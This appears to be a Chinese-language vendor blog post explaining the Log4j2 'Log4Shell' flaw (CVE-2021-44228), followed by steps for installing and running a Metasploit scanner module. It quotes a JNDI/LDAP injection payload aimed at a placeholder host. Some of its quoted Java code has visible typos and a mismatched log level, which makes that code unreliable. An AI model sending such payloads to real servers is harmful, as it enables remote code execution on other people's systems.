前言
近期因应Apache Log4j重大风险漏洞,美国网路安全暨基础架构管理署(CISA)昨日释出扫瞄工具,方便企业或政府IT人员扫瞄自家软体。而绿色运算目前NOPAM各版本均未使用Log4j,所以均不受影响,唯NUMail目前是调整组态以避免因此弱点被攻击的方式处理,后续会随着相关程式库更新而更新。
Log4j2是一款优秀的java日誌监控套件,其被应用在各种框架中,同时也是java生态圈中最基础的套件之一,因此这类型的基础套件要是发生漏洞崩塌,造成的影响是不可估量的。可从Apache Log4j2漏洞影响查询得知受影响的开源专案共近60000个且涉及相关版本的专案也有近32000多个,且漏洞的触发方式简单,利用成本低,此次可以说是java生态圈的一场浩劫。
Log4j2是Apache的一个开源专案,可通过其控制日誌输送的目标(控制台、NT事件记录器及UNIX Syslog守护进程等);亦可控制每条日誌的输出格式,种种功能皆可以通过修改一个配置文件完成,而不需要修改该应用的代码。
漏洞分析
一般在配置文件中所配置的各种元素实际上对应的都是Log4j2中的各种插件,在解析配置文件xml过程中,会将配置的各种字符串元素名称实例化为插件物件,然后与Logger进行关联。
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://ip:1389/#Exploit}");
}
一旦在log的字符串中检测到${},就会解析其中的字符串并尝试使用lookup查询,因此只要能控制log参数内容,就可以进行漏洞利用。
只要使用了AbstractLogger.java中的debug, info, warn, error, fatal等都会触发该函数
@Override
public void fatal(final Marker marker, finall
Message
msg)
{
LogIfEnabled(FQCN, Level.FATAL, marker, msg, msg != null ? msg.getThrowable():null);
}
@Override
public void fatal(final Marker marker, finall Message msg) {
LogIfEnabled(FQCN, Level.INFO, marker, msg, msg != null ? msg.getThrowable():null);
}
核心原理
在正常的log处理过程中会对$ {这两个字符做检测,一旦在字符串中匹配到,便会触发替换机制。 採用this.config.getStrSubstitutor().replace(event, value)函数进行替换,字符串提取后,找到lookup的内容进行替换 并进行变数的解析提取 查找的过程中是根据变数所使用的协议log4j2支持很多种协议,通过JndiLookup只是其中一种,就是通过Jndi标准去获取相对应的配置,亦可通过docker查找 reference
前面提到触发Lookup的条件就是使用:${}便会触发使用Lookup,而我们在漏洞利用过程中常使用${jndi:ldap://ip:port}作为payload,同理会掉用JndiLookup并传入ldap://ip:port作为参数
其中的jndi是一个interface,JndiLookup可以实现的具体物件很多,其中亦包括ldapURLContext
因此当前的注入方式是${jndi:ldap://ip:port}也就是让log4j2框架执行error时,触发JndiLookup,然后调用JndiLookup的ldap协议达到注入效果。
漏洞验证POC
查找的过程中是根据变数所使用的协议usage
git clone
https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit
cd
CVE-2021-44228-log4jVulnScanner-metasploit
mkdir -p
~/.msf4/modules/auxiliary/scanner/http
cp log4j2.py
~/.msf4/modules/auxiliary/scanner/http/
chmod +x
~/.msf4/modules/auxiliary/scanner/http/log4j2.py
msfconsole
use auxiliary/scanner/http/log4j2
set url <vuln
url>
set dns <the self dns address or leave blank for
dnslog.cn>
set request_type <GET, POST, ALL >
set headers_file
<the path of http header param dictionary >
参考资料
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://www.anquanke.com/post/id/263325
https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg